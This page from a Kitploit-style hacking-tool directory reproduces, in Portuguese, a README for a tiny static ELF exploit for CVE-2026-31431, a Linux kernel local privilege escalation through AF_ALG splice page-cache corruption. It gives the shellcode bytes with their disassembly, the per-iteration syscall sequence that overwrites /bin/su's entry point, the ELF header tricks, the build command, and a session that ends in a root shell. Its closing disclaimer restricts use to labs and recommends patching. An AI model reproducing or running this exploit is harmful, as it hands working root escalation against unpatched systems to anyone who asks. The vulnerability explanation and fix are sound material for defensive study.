Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31431-CopyFail-static-ELF--POC — Minimal 587-byte static ELF exploit para CVE-2026-31431, alcanzando escalada local de privilegios via corrupção do page cache de splice AF_ALG. Sem dependências de libc ou runtime. | Kitploit
Ferramentas/GitHubGitHub/rat5ak/cve-2026-31431-copyfail-static-elf--poc
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoDesenvolvimento de PayloadsExploração de Binários
GitHubrat5ak/cve-2026-31431-copyfail-static-elf--poc

CVE-2026-31431-CopyFail-static-ELF--POC

Minimal 587-byte static ELF exploit para CVE-2026-31431, alcanzando escalada local de privilegios via corrupção do page cache de splice AF_ALG. Sem dependências de libc ou runtime.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 3 mesesAinda não revisado

CVE-2026-31431: Copy Fail - ELF estático de 587 bytes

Não fui eu que encontrei este bug. O crédito vai para Xint Code / Theori.

Este repositório é a minha abordagem para tornar o exploit o menor possível - um ELF x86_64 feito à mão que faz o LPE completo em 587 bytes. Sem libc, sem linker, sem runtime. Apenas NASM e teimosia.

Na prática, o kernel entrega uma primitiva de escrita no page cache de qualquer arquivo legível através de AF_ALG + splice. Aponte-a para o entry point de um binário setuid, escreva o shellcode, execute o binário, root.

Para contexto sobre tamanho: o post público original do Copy Fail veio com uma versão Python minúscula de 732 bytes. Isso é extremamente foda, mas ainda depende do runtime Python estar presente. Ainda menor é https://kopy.fail com 524 bytes. Este aqui, porém, é um ELF estático cru: sem interpretador, sem libc, sem linker, sem dynamic loader. (minha mãe diz que é legal)

CVECVE-2026-31431
Classe do bugCorrupção de page cache via aliasing de splice
Causa raizaf_alg_sendpage / splice em request AEAD faz aliasing de páginas do page cache na saída crypto scatter-gather
Componentecrypto/af_alg.c + crypto/algif_aead.c
ImpactoEscrever bytes controlados no page cache de qualquer arquivo legível
RequisitosUsuário local, suporte AF_ALG/AEAD acessível, alvo setuid legível
ExploitELF estático de 587 bytes (x86_64), arquivo único, zero dependências

O Bug

AF_ALG permite que o userspace faça criptografia no kernel através de sockets. Para cifras AEAD como authencesn, o kernel aceita dados via sendmsg com MSG_MORE, e então você pode fazer splice de mais dados a partir de um file descriptor.

A parte amaldiçoada: quando você faz splice de um arquivo, o kernel fixa as páginas do page cache do arquivo diretamente na lista crypto scatter-gather. A operação AEAD então escreve sua saída de volta nessas mesmas páginas. O kernel acha que deu à criptografia um buffer de leitura. A criptografia acha que recebeu um buffer de escrita. Ninguém copia.

Os bytes que você alimenta como metadados AAD acabam visíveis através do page cache. Qualquer leitura subsequente desse arquivo - por qualquer processo, qualquer usuário, incluindo execução suid - vê os dados corrompidos. O arquivo no disco não é tocado. Apenas a visão do page cache em memória muda.

Nomenclatura

Copy Fail é a maldição da família page-cache/COW aparecendo com roupagem de AF_ALG. Mesma linhagem do Dirty COW (CVE-2016-5195) - "o kernel deixou você escrever em algo que você só deveria poder ler" - mas através do caminho de crypto splice em vez da corrida madvise/write.

Exploração

Alvo: /bin/su no Debian Bookworm (incluindo rootfs do kernelCTF). O entry point do ELF fica no offset de arquivo 0x3910.

28 bytes de shellcode o transformam em um dropper de shell root:

root@kitploit:~
; setuid(0) - 7 bytes
31 ff           xor edi, edi
6a 69           push 105
58              pop rax
0f 05           syscall
; execve("/bin/sh", NULL, NULL) - 21 bytes
99              cdq
31 f6           xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00   movabs rbx, "/bin/sh\0"
53              push rbx
54              push rsp
5f              pop rdi
6a 3b           push 59
58              pop rax
0f 05           syscall

A primitiva AEAD só te dá 4 bytes por operação - um chunk de 32 bits do AAD cai no offset do splice. 28 bytes de shellcode ÷ 4 = 7 passagens pela stack de criptografia do kernel. Cada iteração:

  1. socket(AF_ALG) + bind com authencesn(hmac(sha1),cbc(aes))
  2. setsockopt para definir a chave e o tamanho da tag de autenticação
  3. accept para obter o request fd
  4. sendmsg com MSG_MORE - o iov de 8 bytes contém 4 bytes de preenchimento AAD + 4 bytes de shellcode
  5. splice de /bin/su através de um pipe para o request fd (posiciona as páginas do page cache)
  6. recvfrom - dispara o processamento AEAD, corrompe o page cache
  7. Fecha tudo (crítico - estado AF_ALG obsoleto corrompe splices subsequentes)

Após todas as 7 iterações, execve("/bin/su"). O kernel o carrega do page cache corrompido. A execução pula para o entry point sobrescrito. Shell root.

O Binário

587 bytes no total. 120 deles são o cabeçalho ELF (o kernel não carrega você sem ele), então a lógica real do exploit é 467 bytes de código de máquina + dados.

Aqui está onde as coisas ficam no cabeçalho ELF:

root@kitploit:~
Offset  Campo           Uso real
------  -----           ----------
0x00    e_ident[0:8]    magic + classe ELF (obrigatório)
0x08    e_ident[8:16]   material de chave criptográfica (o kernel ignora esses bytes)
0x28    e_shoff         string "/bin/su\0" (o kernel ignora para ET_EXEC)

O kernel só olha para e_ident[0:7], e_type, e_machine, e_entry, e_phoff, e_phnum e o próprio phdr. Todo o resto é espaço livre.

Outros truques de tamanho:

  • Único PT_LOAD RWX, BSS para o sockaddr_alg de 88 bytes (o kernel o zera)
  • Todas as syscalls codificadas como push imm8 / pop rax / syscall (3 bytes cada)
  • Contador de loop em r14 decrementa de 24→0 passo -4, serve também como índice do shellcode
  • Registradores escolhidos para sobreviver entre syscalls (r12=target_fd, r15=alg_fd, rbp=req_fd, rbx=shellcode_base) para não desperdiçar bytes recarregando-os

A história 584→587

A primeira versão funcional tinha 584 bytes. Ela usava mov ax, 275 para a segunda chamada splice (2 bytes mais curto que mov eax, 275). Isso aposta que o primeiro splice sempre tem sucesso - se ele retornar um erro negativo, os 48 bits superiores de rax permanecem definidos, e mov ax, 275 só sobrescreve os 16 inferiores. Então o número da syscall do segundo splice vira lixo.

No meu kernel de teste sempre funcionou. Mas "sempre funciona em teste" é um mau motivo para enviar um bug, e se alguém encontrar isso em um sistema onde o splice retorna EAGAIN sob pressão de memória, o exploit simplesmente dá segfault sem nenhuma indicação do que deu errado. Comi os 3 bytes extras.

Também tive que adicionar xor esi, esi antes do execve final porque recvfrom sobrescreve rsi com o endereço do buffer. Sem isso, o execve recebe um ponteiro argv lixo. Mais um byte.

Compilação

root@kitploit:~
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3

Requer NASM. Produz o binário do exploit diretamente - sem etapa de linking.

Uso

root@kitploit:~
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)

Leva menos de um segundo. Sem saída em caso de sucesso - apenas um shell root.

Kernels Afetados

Requer CONFIG_CRYPTO_USER_API_AEAD (embutido ou módulo carregado) e o caminho de splice in-place não corrigido em algif_aead. O caminho ruim remonta a uma otimização de 2017. Verifique a configuração do kernel da sua distro e o status do patch.

Correção

A correção elimina o caminho in-place e copia as páginas de origem do splice em vez de fazer aliasing delas na lista crypto scatter-gather. O isolamento do page cache é restaurado.

Não seja idiota

Isso é um artefato de KernelCTF/laboratório. Execute-o em sistemas que você possui ou para os quais tem permissão explícita para testar. Se você está defendendo máquinas Linux, aplique o patch no kernel ou restrinja o carregamento do módulo AF_ALG/algif_aead.


Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online

Baixar ferramenta